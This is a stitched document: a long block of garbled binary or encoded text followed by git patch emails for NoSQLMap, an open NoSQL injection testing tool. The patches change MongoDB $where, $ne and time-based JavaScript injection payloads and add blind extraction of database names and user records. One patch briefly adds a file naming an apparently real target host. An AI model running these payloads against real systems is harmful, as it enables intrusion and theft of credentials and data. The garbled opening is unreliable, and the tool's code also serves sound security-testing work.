z0na!vlol4RRI2Aq-G{sZ*qtvFn7(GU^PWCk>*;ma>TA8xY+;l6J}%&igA78EI-OQs z-sxbg9R2vFa#I^3;~7!Lx3T`5MT%}1Q-Ip;0UCBKF`YJ zezt;1PA8}HiCj7{olL`*`zw>MD**kGkNWr8iN;nZ+|OnO_CoN9Kh(63?QCp? z^!NWo4?Ok%DiYC0f5E$$HJ>5C5MT%}1Q-Gg0fqoWfFZyTUOj^fLVd;1AIU;TwR*&}B4> zlISRq*pDH=5MT%}1Q-Gg0fqoWfFZyTU^}2n@m31sul(#=Ktg?)?3i|MVY* z;KKrvHELwle(5_y@Ie8|I%H(ceOnuXPYFoYuum`ej$itpA^3=ZWDOZy@96v0A^3WL zWJUXQu9MIG)gXK|z=gR$zn*hq;ZKI(V*$bxF_;c7eQ^jr5+GS&J?rH2AMg#qX8|ND zWMn<}wQrD50!UWC$a?b3M~2{&0Fo6nvferR;2?YpKq~ap3QvlC|4g3$kMW-(@&C8b zOUR49!v7e3hW{QKM1PDvf}Td#&<6hv{`2UU(L2#YD8qjW-T(8{>8vdb0fqoWfFZyT zU45wPK(d(QxWKWyu7Y!u)NdPg|e9l%Q} z>TU_pH{^|no%;aj@&AWB=s)29|9zAHA^IZ!ZS)uX-}C>6{s4Ud-UQe}@8Unp{}Eb1 zZ$}AqKmQ>Vdox-F(}^L#5MT%}1Q-Gg0fqoWfFZyTU7$1#|`p$6f zC?AcE_)c-oI3FDv@=bE~NFR+L-vrl<^Q?|yRq)L0N%9!{^P(qIjQq1 z8(4Yw5^nEoc5J8NNZv}cwT#;x>jZed>=y)^X4}nnX9jjdH;>^6_b&gD z3E&tXhuS#WKEeR4BZqKg%s+9|6aeHcsok!@_T}a=9PalYKVs8@K5V2MWUF^_5)N@q zzi^)^1Te&novrh&x@sPQl70*a9`MJaz%V+h8y+E$ziKl&37dK&)IpPxU0euSRjzYIG8e2)JRe~r)ZFCi74 z{ePJM9KR6#3A`cj`)Cdo`K$Z}e-nKd-V!*5KF)s^iTpW!81d-O`TxEvLp`g6A;1t| z2rvW~0t^9$07HNwzz|>vFa-980C^qVS{OS?-eWh{z)q0Y=N&6uljQYt+ltn4QrKF% zIz|ec%Txk+2i;hbnji#o`ROPrV=XxyAtVy@lEtO_D9Kzt8YdErfcaihv2AteFnOE3 zyY_Prkphbbbh#%+q*x0&V+M(?-HZ~F6~`YUBr{|mp)cZFYcRvZ-ZvFa#I^3;~7!Lx3T`5MT(r6%p`zIWBUNrYC4RNz>yrJw{W3rV}I$A0=t%2u<&! z={QaArRias-b2$EO~+_DO4CC$9iizkNdrSP9i%CuDNoZVNrMA4?WbvkreT_fXd0v` zZ1xA7ewzAd>ZNI)&&!2_v z>=ywR|L+$m#>Ws~2rvW~0t^9$07HNwzz|>vFa#I^41u>U0wn&A_(L9)ysB8@t@_w95fc@xjoH*xJc zd;zkxgf-m44W(BWUxHm6m&?NP%(?lpaJ5IF)oA2&G$O#S7q#5z)H~NJ>Z(wwE|<@j zmxRTo%7vMwE5ak?E5gjm@P zsa!3UYr<8NQLk}s8XXt+IQR9 zx*%BfxwA;UMk|bpR~Bapjz-1%(8Vi4HZ9GyS^niH)pX{Z`8@2Fl+j0W1XN>QP(QHn4*T^SE{q+M}@2V zk^!zjjcgb9s&M+Mv(nZ0jgkIftOQDydMjC#ws3FN25zHTx8yAqB5bR!j)*@!7zxH; zC!1$$bdYd2+kM^d93I?c+t}bH*)4h>LxSO`rlZ?S-;ohP2ghZ&#`xsI%p64Kb~ZP! zU)+&4>slSFy#)03l1HHbZ6<6Ef<}vH6a}~2b-BI?W!d7P+VTsiU}+Ut5%5^6IP+z}>WnVV*11%Egs3 zfI@xQ&1IKhd5oKhxNt9znS$AeD&Q_ahTIz?A-j*eS*XsskGn}>r;oeIwvq?dIDT^_ zNPYa7)$WY|?1$9At&#-ax6-<7*CD5myU8{mca!X1x(^>Wr+s&0?P7iwdv;8^2cD1b z+R)>g(p=-ga(xT7%#*gZR|RrIv0S+Tv#v4ioe2bEXXB=$mfjy*fBlyP7kf zBhVWp{tx({_n^o47yDlhZ-hPz7wpFnU3~+gQ_)Gdti_X$5LT Date: Sat, 23 Sep 2017 19:33:26 +0700 Subject: [PATCH 32/68] Use Urllib Quote for parameter value --- nosqlmap.py | 11 ++++++----- nsmweb.py | 28 ++++++++++++++-------------- prison | 2 ++ 3 files changed, 22 insertions(+), 19 deletions(-) create mode 100644 prison diff --git a/nosqlmap.py b/nosqlmap.py index 1885ab8..d7df2da 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -1,3 +1,4 @@ +# -*- coding: utf-8 -*- #!/usr/bin/python # NoSQLMap Copyright 2012-2017 NoSQLMap Development team # See the file 'doc/COPYING' for copying permission @@ -55,11 +56,11 @@ def mainMenu(): mmSelect = True while mmSelect: os.system('clear') -  print " _ _ ___ ___ _ __ __           " -  print "| \| |___/ __|/ _ \| | | \/ |__ _ _ __ " -  print "| .` / _ \__ \ (_) | |__| |\/| / _` | '_ \" -  print "|_|\_\___/___/\__\_\____|_| |_\__,_| .__/" -  print " v0.7 codingo@protonmail.com      |_|   " + print " _ _ ___ ___ _ __ __           " + print "| \| |___/ __|/ _ \| | | \/ |__ _ _ __ " + print "| .` / _ \__ \ (_) | |__| |\/| / _` | '_ \\" + print("|_|\_\___/___/\__\_\____|_| |_\__,_| .__/") + print(" v0.7 codingo@protonmail.com      |_|   ") print "\n" print "1-Set options" print "2-NoSQL DB Access Attacks" diff --git a/nsmweb.py b/nsmweb.py index 3c99ed0..167de1e 100644 --- a/nsmweb.py +++ b/nsmweb.py @@ -915,24 +915,24 @@ def buildUri(origUri, randValue): if paramName[x] in injOpt: uriArray[0] += paramName[x] + "=" + randValue + "&" uriArray[1] += paramName[x] + "[$ne]=" + randValue + "&" - uriArray[2] += paramName[x] + "=a'; return db.a.find(); var dummy='!" + "&" - uriArray[3] += paramName[x] + "=1; return db.a.find(); var dummy=1" + "&" - uriArray[4] += paramName[x] + "=a'; return db.a.findOne(); var dummy='!" + "&" - uriArray[5] += paramName[x] + "=1; return db.a.findOne(); var dummy=1" + "&" - uriArray[6] += paramName[x] + "=a'; return this.a != '" + randValue + "'; var dummy='!" + "&" - uriArray[7] += paramName[x] + "=1; return this.a !=" + randValue + "; var dummy=1" + "&" + uriArray[2] += paramName[x] + "=" + urllib.quote("a'; return db.a.find(); var dummy='!") + "&" + uriArray[3] += paramName[x] + "=" + urllib.quote("1; return db.a.find(); var dummy=1") + "&" + uriArray[4] += paramName[x] + "=" + urllib.quote("a'; return db.a.findOne(); var dummy='!") + "&" + uriArray[5] += paramName[x] + "=" + urllib.quote("1; return db.a.findOne(); var dummy=1") + "&" + uriArray[6] += paramName[x] + "=" + urllib.quote("a'; return this.a != '" + randValue + "'; var dummy='!") + "&" + uriArray[7] += paramName[x] + "=" + urllib.quote("1; return this.a !=" + randValue + "; var dummy=1") + "&" uriArray[8] += paramName[x] + "[$gt]=&" - uriArray[9] += paramName[x] + "=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1" + "&" - uriArray[10] += paramName[x] + "=a\"; return db.a.find(); var dummy='!" + "&" - uriArray[11] += paramName[x] + "=a\"; return this.a != '" + randValue + "'; var dummy='!" + "&" - uriArray[12] += paramName[x] + "=a\"; return db.a.findOne(); var dummy=\"!" + "&" - uriArray[13] += paramName[x] + "=a\"; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=\"!" + "&" - uriArray[14] += paramName[x] + "a'; return true; var dum='a" + uriArray[9] += paramName[x] + "=" + urllib.quote("1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1") + "&" + uriArray[10] += paramName[x] + "=" + urllib.quote("a\"; return db.a.find(); var dummy='!") + "&" + uriArray[11] += paramName[x] + "=" + urllib.quote("a\"; return this.a != '" + randValue + "'; var dummy='!") + "&" + uriArray[12] += paramName[x] + "=" + urllib.quote("a\"; return db.a.findOne(); var dummy=\"!") + "&" + uriArray[13] += paramName[x] + "=" + urllib.quote("a\"; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=\"!") + "&" + uriArray[14] += paramName[x] + urllib.quote("a'; return true; var dum='a") uriArray[15] += paramName[x] + "1; return true; var dum=2" #Add values that can be manipulated for database attacks - uriArray[16] += paramName[x] + "=a\'; ---" + uriArray[16] += paramName[x] + "=" + urllib.quote("a\'; ---") uriArray[17] += paramName[x] + "=1; if ---" - uriArray[18] += paramName[x] + "=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!" + "&" + uriArray[18] += paramName[x] + "=" + urllib.quote("a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!") + "&" else: uriArray[0] += paramName[x] + "=" + paramValue[x] + "&" diff --git a/prison b/prison new file mode 100644 index 0000000..1c9da3a --- /dev/null +++ b/prison @@ -0,0 +1,2 @@ +prison-commissary.mysterious-hashes.net,80,/panda.php?id=1,GET,Not Set,Not Set,ON,OFF, +{} \ No newline at end of file From 71bcf456ba6c3380050a98bf33ad0074dd85f461 Mon Sep 17 00:00:00 2001 From: Michael <886344+codingo@users.noreply.github.com> Date: Tue, 26 Sep 2017 11:14:11 +1000 Subject: [PATCH 33/68] Update prison --- prison | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/prison b/prison index 1c9da3a..8b13789 100644 --- a/prison +++ b/prison @@ -1,2 +1 @@ -prison-commissary.mysterious-hashes.net,80,/panda.php?id=1,GET,Not Set,Not Set,ON,OFF, -{} \ No newline at end of file + From 98021fca70ff69e2f64e913a040538606723a4ba Mon Sep 17 00:00:00 2001 From: Michael <886344+codingo@users.noreply.github.com> Date: Tue, 26 Sep 2017 11:15:08 +1000 Subject: [PATCH 34/68] Delete prison --- prison | 1 - 1 file changed, 1 deletion(-) delete mode 100644 prison diff --git a/prison b/prison deleted file mode 100644 index 8b13789..0000000 --- a/prison +++ /dev/null @@ -1 +0,0 @@ - From 6c9fbe954cee594acc94472f1c7559c4cd3959cf Mon Sep 17 00:00:00 2001 From: Sudhanshu Chauhan Date: Tue, 26 Sep 2017 17:19:57 +0530 Subject: [PATCH 35/68] Update nsmweb.py --- nsmweb.py | 54 +++++++++++++++++++----------------------------------- 1 file changed, 19 insertions(+), 35 deletions(-) diff --git a/nsmweb.py b/nsmweb.py index 167de1e..4dd77c8 100644 --- a/nsmweb.py +++ b/nsmweb.py @@ -133,6 +133,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): else: print "Test 2: $where injection (string escape)" + print uriArray[2] req = urllib2.Request(uriArray[2], None, requestHeaders) errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) @@ -890,49 +891,31 @@ def buildUri(origUri, randValue): return x = 0 - uriArray[0] = split_uri[0] + "?" - uriArray[1] = split_uri[0] + "?" - uriArray[2] = split_uri[0] + "?" - uriArray[3] = split_uri[0] + "?" - uriArray[4] = split_uri[0] + "?" - uriArray[5] = split_uri[0] + "?" - uriArray[6] = split_uri[0] + "?" - uriArray[7] = split_uri[0] + "?" - uriArray[8] = split_uri[0] + "?" - uriArray[9] = split_uri[0] + "?" - uriArray[10] = split_uri[0] + "?" - uriArray[11] = split_uri[0] + "?" - uriArray[12] = split_uri[0] + "?" - uriArray[13] = split_uri[0] + "?" - uriArray[14] = split_uri[0] + "?" - uriArray[15] = split_uri[0] + "?" - uriArray[16] = split_uri[0] + "?" - uriArray[17] = split_uri[0] + "?" - uriArray[18] = split_uri[0] + "?" + for item in paramName: if paramName[x] in injOpt: uriArray[0] += paramName[x] + "=" + randValue + "&" uriArray[1] += paramName[x] + "[$ne]=" + randValue + "&" - uriArray[2] += paramName[x] + "=" + urllib.quote("a'; return db.a.find(); var dummy='!") + "&" - uriArray[3] += paramName[x] + "=" + urllib.quote("1; return db.a.find(); var dummy=1") + "&" - uriArray[4] += paramName[x] + "=" + urllib.quote("a'; return db.a.findOne(); var dummy='!") + "&" - uriArray[5] += paramName[x] + "=" + urllib.quote("1; return db.a.findOne(); var dummy=1") + "&" - uriArray[6] += paramName[x] + "=" + urllib.quote("a'; return this.a != '" + randValue + "'; var dummy='!") + "&" - uriArray[7] += paramName[x] + "=" + urllib.quote("1; return this.a !=" + randValue + "; var dummy=1") + "&" + uriArray[2] += paramName[x] + "=a'; return db.a.find(); var dummy='!" + "&" + uriArray[3] += paramName[x] + "=1; return db.a.find(); var dummy=1" + "&" + uriArray[4] += paramName[x] + "=a'; return db.a.findOne(); var dummy='!" + "&" + uriArray[5] += paramName[x] + "=1; return db.a.findOne(); var dummy=1" + "&" + uriArray[6] += paramName[x] + "=a'; return this.a != '" + randValue + "'; var dummy='!" + "&" + uriArray[7] += paramName[x] + "=1; return this.a !=" + randValue + "; var dummy=1" + "&" uriArray[8] += paramName[x] + "[$gt]=&" - uriArray[9] += paramName[x] + "=" + urllib.quote("1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1") + "&" - uriArray[10] += paramName[x] + "=" + urllib.quote("a\"; return db.a.find(); var dummy='!") + "&" - uriArray[11] += paramName[x] + "=" + urllib.quote("a\"; return this.a != '" + randValue + "'; var dummy='!") + "&" - uriArray[12] += paramName[x] + "=" + urllib.quote("a\"; return db.a.findOne(); var dummy=\"!") + "&" - uriArray[13] += paramName[x] + "=" + urllib.quote("a\"; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=\"!") + "&" - uriArray[14] += paramName[x] + urllib.quote("a'; return true; var dum='a") + uriArray[9] += paramName[x] + "=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1" + "&" + uriArray[10] += paramName[x] + "=a\"; return db.a.find(); var dummy='!" + "&" + uriArray[11] += paramName[x] + "=a\"; return this.a != '" + randValue + "'; var dummy='!" + "&" + uriArray[12] += paramName[x] + "=a\"; return db.a.findOne(); var dummy=\"!" + "&" + uriArray[13] += paramName[x] + "=a\"; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=\"!" + "&" + uriArray[14] += paramName[x] + "a'; return true; var dum='a" uriArray[15] += paramName[x] + "1; return true; var dum=2" #Add values that can be manipulated for database attacks - uriArray[16] += paramName[x] + "=" + urllib.quote("a\'; ---") + uriArray[16] += paramName[x] + "=a\'; ---" uriArray[17] += paramName[x] + "=1; if ---" - uriArray[18] += paramName[x] + "=" + urllib.quote("a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!") + "&" + uriArray[18] += paramName[x] + "=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!" + "&" else: uriArray[0] += paramName[x] + "=" + paramValue[x] + "&" @@ -959,7 +942,9 @@ def buildUri(origUri, randValue): #Clip the extra & off the end of the URL x = 0 while x <= 18: - uriArray[x]= uriArray[x][:-1] +# uriArray[x]= uriArray[x][:-1] + uriArray[x]=split_uri[0]+"?"+urllib.quote_plus(uriArray[x][:-1]) + x += 1 return uriArray[0] @@ -1193,4 +1178,3 @@ def getDBInfo(): crackHash = raw_input("Crack another hash (y/n)?") raw_input("Press enter to continue...") return - From 8c1fe3507cc718c36ff62b27a2789d83fa62fccb Mon Sep 17 00:00:00 2001 From: Michael <886344+codingo@users.noreply.github.com> Date: Wed, 11 Oct 2017 11:55:48 +1000 Subject: [PATCH 36/68] Create nop --- docs/nop | 1 + 1 file changed, 1 insertion(+) create mode 100644 docs/nop diff --git a/docs/nop b/docs/nop new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/docs/nop @@ -0,0 +1 @@ + From 0c642e3e42f61c05c816b20f4d76a523cbace5be Mon Sep 17 00:00:00 2001 From: Michael <886344+codingo@users.noreply.github.com> Date: Wed, 11 Oct 2017 11:56:20 +1000 Subject: [PATCH 37/68] Set theme jekyll-theme-cayman --- docs/_config.yml | 1 + 1 file changed, 1 insertion(+) create mode 100644 docs/_config.yml diff --git a/docs/_config.yml b/docs/_config.yml new file mode 100644 index 0000000..c419263 --- /dev/null +++ b/docs/_config.yml @@ -0,0 +1 @@ +theme: jekyll-theme-cayman \ No newline at end of file From 5dc778abe48009f20ca1eb59d8036176527949ad Mon Sep 17 00:00:00 2001 From: Andres Riancho Date: Fri, 20 Oct 2017 17:36:28 -0300 Subject: [PATCH 38/68] Better error handling for web applications which respond with non-200 codes --- nsmweb.py | 112 ++++++++++++++++++++++++++++-------------------------- 1 file changed, 59 insertions(+), 53 deletions(-) diff --git a/nsmweb.py b/nsmweb.py index 4dd77c8..f38725e 100644 --- a/nsmweb.py +++ b/nsmweb.py @@ -58,7 +58,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): req = urllib2.Request(appURL, None, requestHeaders) appRespCode = urllib2.urlopen(req).getcode() if appRespCode == 200: - normLength = int(len(urllib2.urlopen(req).read())) + normLength = int(len(getResponseBodyHandlingErrors(req))) timeReq = urllib2.urlopen(req) start = time.time() page = timeReq.read() @@ -86,7 +86,6 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): print "Using " + injectString + " for injection testing.\n" # Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same. - # Add error handling for Non-200 HTTP response codes if random strings freaks out the app. if "?" not in appURL: print "No URI parameters provided for GET request...Check your options.\n" raw_input("Press enter to continue...") @@ -101,7 +100,9 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): else: print "Sending random parameter value..." - randLength = int(len(urllib2.urlopen(req).read())) + responseBody = getResponseBodyHandlingErrors(req) + randLength = int(len(responseBody)) + print "Got response length of " + str(randLength) + "." randNormDelta = abs(normLength - randLength) @@ -117,10 +118,10 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): # Test for errors returned by injection req = urllib2.Request(uriArray[1], None, requestHeaders) - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) checkResult(randLength,injLen,testNum,verb,None) testNum += 1 else: @@ -135,11 +136,11 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): print uriArray[2] req = urllib2.Request(uriArray[2], None, requestHeaders) - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) checkResult(randLength,injLen,testNum,verb,None) testNum += 1 @@ -154,11 +155,11 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): print "Test 3: $where injection (integer escape)" req = urllib2.Request(uriArray[3], None, requestHeaders) - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) checkResult(randLength,injLen,testNum,verb,None) testNum +=1 @@ -174,10 +175,10 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): print "Test 4: $where injection string escape (single record)" req = urllib2.Request(uriArray[4], None, requestHeaders) - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) checkResult(randLength,injLen,testNum,verb,None) testNum += 1 else: @@ -191,10 +192,10 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): print "Test 5: $where injection integer escape (single record)" req = urllib2.Request(uriArray[5], None, requestHeaders) - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) checkResult(randLength,injLen,testNum,verb,None) testNum +=1 @@ -209,10 +210,10 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): print "Test 6: This != injection (string escape)" req = urllib2.Request(uriArray[6], None, requestHeaders) - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) checkResult(randLength,injLen,testNum,verb,None) testNum += 1 else: @@ -226,10 +227,10 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): print "Test 7: This != injection (integer escape)" req = urllib2.Request(uriArray[7], None, requestHeaders) - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) checkResult(randLength,injLen,testNum,verb,None) testNum += 1 else: @@ -244,10 +245,10 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): print "Test 8: PHP/ExpressJS > Undefined Injection" req = urllib2.Request(uriArray[8], None, requestHeaders) - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) checkResult(randLength,injLen,testNum,verb,None) testNum += 1 @@ -258,10 +259,8 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): print "Starting Javascript string escape time based injection..." req = urllib2.Request(uriArray[18], None, requestHeaders) start = time.time() - strTimeInj = urllib2.urlopen(req) - page = strTimeInj.read() + page = getResponseBodyHandlingErrors(req) end = time.time() - strTimeInj.close() #print str(end) #print str(start) strTimeDelta = (int(round((end - start), 3)) - timeBase) @@ -277,10 +276,8 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): print "Starting Javascript integer escape time based injection..." req = urllib2.Request(uriArray[9], None, requestHeaders) start = time.time() - intTimeInj = urllib2.urlopen(req) - page = intTimeInj.read() + page = getResponseBodyHandlingErrors(req) end = time.time() - intTimeInj.close() #print str(end) #print str(start) intTimeDelta = (int(round((end - start), 3)) - timeBase) @@ -348,6 +345,15 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): return() +def getResponseBodyHandlingErrors(req): + try: + responseBody = urllib2.urlopen(req).read() + except urllib2.HTTPError, err: + responseBody = err.read() + + return responseBody + + def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): print "Web App Attacks (POST)" print "===============" @@ -386,7 +392,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): if appRespCode == 200: - normLength = int(len(urllib2.urlopen(req).read())) + normLength = int(len(getResponseBodyHandlingErrors(req))) timeReq = urllib2.urlopen(req) start = time.time() page = timeReq.read() @@ -438,7 +444,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): body = urllib.urlencode(postData) req = urllib2.Request(appURL,body, requestHeaders) - randLength = int(len(urllib2.urlopen(req).read())) + randLength = int(len(getResponseBodyHandlingErrors(req))) print "Got response length of " + str(randLength) + "." randNormDelta = abs(normLength - randLength) @@ -460,10 +466,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): else: print "Test 1: PHP/ExpressJS != associative array injection" - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) checkResult(randLength,injLen,testNum,verb,postData) testNum += 1 @@ -487,10 +493,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): else: print "Test 2: PHP/ExpressJS > Undefined Injection" - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) checkResult(randLength,injLen,testNum,verb,postData) testNum += 1 @@ -504,10 +510,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): else: print "Test 3: $where injection (string escape)" - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) checkResult(randLength,injLen,testNum,verb,postData) testNum += 1 else: @@ -524,10 +530,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): else: print "Test 4: $where injection (integer escape)" - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) checkResult(randLength,injLen,testNum,verb,postData) testNum += 1 else: @@ -545,10 +551,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): else: print "Test 5: $where injection string escape (single record)" - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) checkResult(randLength,injLen,testNum,verb,postData) testNum += 1 @@ -566,10 +572,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): else: print "Test 6: $where injection integer escape (single record)" - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) checkResult(randLength,injLen,testNum,verb,postData) testNum += 1 @@ -588,10 +594,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): else: print "Test 7: This != injection (string escape)" - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) checkResult(randLength,injLen,testNum,verb,postData) testNum += 1 print "\n" @@ -608,10 +614,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): else: print "Test 8: This != injection (integer escape)" - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) checkResult(randLength,injLen,testNum,verb,postData) testNum += 1 @@ -974,7 +980,7 @@ def getDBInfo(): trueUri = uriArray[16].replace("---","return true; var dummy ='!" + "&") #print "Debug " + str(trueUri) req = urllib2.Request(trueUri, None, requestHeaders) - baseLen = int(len(urllib2.urlopen(req).read())) + baseLen = int(len(getResponseBodyHandlingErrors(req))) print "Got baseline true query length of " + str(baseLen) print "Calculating DB name length..." @@ -983,7 +989,7 @@ def getDBInfo(): calcUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.length ==" + str(curLen) + ") {return true;} var dum='a" + "&") #print "Debug: " + calcUri req = urllib2.Request(calcUri, None, requestHeaders) - lenUri = int(len(urllib2.urlopen(req).read())) + lenUri = int(len(getResponseBodyHandlingErrors(req))) #print "Debug length: " + str(lenUri) if lenUri == baseLen: @@ -998,7 +1004,7 @@ def getDBInfo(): charUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.charAt(" + str(nameCounter) + ") == '"+ chars[charCounter] + "') { return true; } var dum='a" + "&") req = urllib2.Request(charUri, None, requestHeaders) - lenUri = int(len(urllib2.urlopen(req).read())) + lenUri = int(len(getResponseBodyHandlingErrors(req))) if lenUri == baseLen: dbName = dbName + chars[charCounter] @@ -1024,7 +1030,7 @@ def getDBInfo(): usrCntUri = uriArray[16].replace("---","var usrcnt = db.system.users.count(); if (usrcnt == " + str(usrCount) + ") { return true; } var dum='a") req = urllib2.Request(usrCntUri, None, requestHeaders) - lenUri = int(len(urllib2.urlopen(req).read())) + lenUri = int(len(getResponseBodyHandlingErrors(req))) if lenUri == baseLen: print "Found " + str(usrCount) + " user(s)." @@ -1050,7 +1056,7 @@ def getDBInfo(): usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.user.length == " + str(usrChars) + ") { return true; } var dum='a" + "&") req = urllib2.Request(usrUri, None, requestHeaders) - lenUri = int(len(urllib2.urlopen(req).read())) + lenUri = int(len(getResponseBodyHandlingErrors(req))) if lenUri == baseLen: # Got the right number of characters @@ -1063,7 +1069,7 @@ def getDBInfo(): usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.user.charAt(" + str(rightCharsUsr) + ") == '"+ chars[charCounterUsr] + "') { return true; } var dum='a" + "&") req = urllib2.Request(usrUri, None, requestHeaders) - lenUri = 